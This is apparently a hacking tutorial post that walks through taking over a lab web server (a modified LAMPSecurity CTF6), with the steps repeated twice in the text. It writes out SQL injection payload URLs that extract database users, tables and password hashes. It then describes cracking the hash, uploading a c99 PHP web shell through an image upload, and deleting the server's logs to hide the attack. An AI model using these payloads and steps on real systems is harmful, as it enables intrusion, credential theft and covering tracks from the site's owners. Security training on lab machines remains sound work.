Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_umeM-txZsusLrwsPEt_aJZsJNp9IHlbjklL59HzAaePXfunMPatGwJiEZV_vN6cbFFpC1D7H7EFzMptOjpEXJ1ZHPyH85jx28VGNusHqHuflawPZMGgpBZTxeEWlI5hyNoaRGZ3RR7FXuNib8jipDRPRKhz1bZHZBZBcf2DccLThss=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_soZHpg_C6PWLizgSOOqvv_JuWAmTZ5e1Jzy4q9LElPNNRLQCreYSi3QFR1Bt7HxN5n6C6M0slwo7R3ToTyyZs32i96Joti-H0ZtDz5FBNb3n0EuQWdTH12qJuW11vCK0MzwP5fwpbIlO8DC0xzN5S4VOvBWBiOCEBGdB6X81d5fC7DBA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_srq3IH_X5WrGS7PL_y7Gm5S_03XF1PgucihUhGs0wm4RPZS5SmhAUSqQQVkYCJZxOX-eAJT7YUciDY7kleC0Xm-UNoWRIuhOGSEdH1DmpqvUNtaJSzsZk1Sa9S4EW2RAFSjCEZYC6RlnwyDiGHahGfoopwhMisRv39ZOsF0_fn98b-Cw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHHFFvtkJCWooLJMvb95JF4XKmyxte6hwHLnWg5xSdU49kENzHbAI6qB20-ni5NrLBFP3X346F49dhhXwF0dYAWEn0HEZNhOEv6-8xWsRmW3DOFhIsJKGMIW9cygSbn0OWT0aJX_kZMCyBgAEGTC0Fk67AuD8eYbK-DblOtL9wEgO6Xg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_unqM_RzaDnQfoNuRdCdCUz_N8goNTh8tu2M0SjYkbxTTCHpZSXSSXa9yd0nTxUf2a9ZBVY-ReiOslxVPOPfha46Qc963gYqnjgTXcsjbcqvI0-OFekn18xllSKm3ijOK6UQsI5KeynYV5cW7ZkMNhQaPWFzskJ4aZdtZLggorgPVSWRw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stXZJWMz_gRiO7Jr6lH-AN8AnybN5qF1dIoF7EvZtRHnOqkiNErm-pTy2-YeI9hU5TkVrl1uUehymNrPhDOJXCa_0Fd60akvQ-IQGq_WCk-aoxnaaCJ-_wh5y6m_OEJ5aXf_2Yv5bOPPE1qv82eJ19mKJpFt4LqJiX6WF1o_fR2jPM=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbSy7ClUqI7rCbPnOu-BwD664wRNKbtcVW_oD1L0l80__7yClVdzdPGaDsrW1_fq9O0_9mlzPtqm7S7onpa2R20xlhVNABkW_AGN5JAKUpRMwYeBYBDsMXk3nGepGl5mnmifasSds-ZBbdHFfi_m7BPPBatMFohJpWvgDou3s3eM218Yk=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIMxeU8FYSmiYclKR8Nxrt0YJ35TSYEAWBIzWDmYvT2cAblB5VhaYdfZSEur3Dz71L9D8Ux__dxYrkvUSLaECLs8iBjmv152q07wyVpAyfVbG2ryZZv0GSONPYgKKR-IK1f5wKuRyNKujQ4TG1TqC9bBUBGUxpvvG0L9CHZeMHnLRn1I0=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgc0WTiFj_Ph7LmXR_OlZ9yFpKFeOb_sqgLUFXwTEcHp9MR8BQmGhrGhr7f-CS-PFNn60l3KpQ5Vvnh5DrH_rTo6t2RruBAPgEQHVhtvpSe-6LoH1FlR6U5MWN8qTOi12orOhUuIw7M8nmdL6aK8FvYSps18WCCW0hAmIsKotIofZX2fo=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t9Vn8cpyLllKCbNhVLp_1ZMIjVJsnXbm_YbnGFb_mgf0IeVwbKHP0mFCDcJJCrMV-UrWxF63Ht-F0cDYZJnW5XDh7PzCWCI2wwHLZn7IpXdrqnxSJXkygH1fv1FvOT_yIkP71GmCPBWZW5CR8OC87G3oMcLUlxWCix6t__5PypX6dLefk=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uQxbIC9Mo3zclXpEhEDVPYaewqOwxPOEPX4Y7Hw71U3zC-JkKrtcIsnq2saZSmR5p7jSZzpqLSlrvLLN7Li3cduqhPK1V9afjxqVTWsgVij8PItsths8icfUmSXBGSzgJrblGKEadoouIdHkbfHee_RgTsH_6QOh8Z_zoujLJSIE66bA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXFQ3rX5Q6PqKbJMHO5thWZx5Anv0twf7LfoydWkd-dKOQbTewn4ECgAQdxvK7HZBfciqnK4j0XSrcKzPwRHqF4oIL_D-MdkwkKZ4HF-YkNHxxM8-2uPAK2bgIqubGRYUouSuDBEp7EBuvExB-GkaKlKD8yTQOAWQuv-GXdEE-C81c3uw=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uACPKEdV65pAQr-tObhd14-MS3ws3rTvsLMDmE3b6fKVuqx0wa5Wng7ztZSebL0xJP9ZtuQYT6rU2wCzDiVxpXGpemDkuiqh--OU5i7LSVuHJ072p7wkCs-jh54UJmul_OhEKMOaVjGyvyroHhf-7THmY0WLeqEcNFAScqM8pz5cNKz6A=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vmYt5LpIi1Ci-kJYDVcFPc5gxWQMcO5bIBhmlN1KmoTTt-vj0PM67bG_Cviox13aVXIkFcMBS3YAJZHShhF_a9mIFWp-a_PEqOSlyTv4ribuzNaicbYNo6sN3n4LxmkZMS7z4NddMzzfERpTcBu5U9rEKEjzHUSM1Mm8ymx7zlgjLNYQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sFK-AE7OoxDxf2BAr8o_XAIs53DfhHg6qquMS05E6BW-2gH_mXCS9Hb5H_6IUfZ7fCo3mxtFkyANdFpgCLiGy_L9y6gVCydwHnLPIWhuiwRZ1tzsDkeR-r0vhV8DfYAaKrINN4UZOax_VS71ttSGohWj4l-oYmi9LoS76k0CluQZI2zA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sG0xIw0jITTaUDZ6opqHjA5zaADP4XY-gfZq0KkiLveep2YUS9WI9dEOzV70AlkBF3z_UjEykmWbJRymY7SMca2HYfkZIuCYAuMm5sWH9erl3e1v2zMNp6e972AqESDQi3zBXFNV9obsCAAzO3mvzphz7Xq846wvsB7XCSoqyb3uoawxM=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRWtmTNzLFq2d4dIGfXDhMy0riFffMnA4Si82l-6lV90e35vM6mIHPp5fZcJn-TBTWNSWFr9cU-q9SWNppeSMljRymPyhCGHT62goNtCvqvrntDTY2djNY5696Kzfh-R4oHskF0hPN0-CrZljF88jwNOXEy8vevLP5AVst9KgRv9l3kiU=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
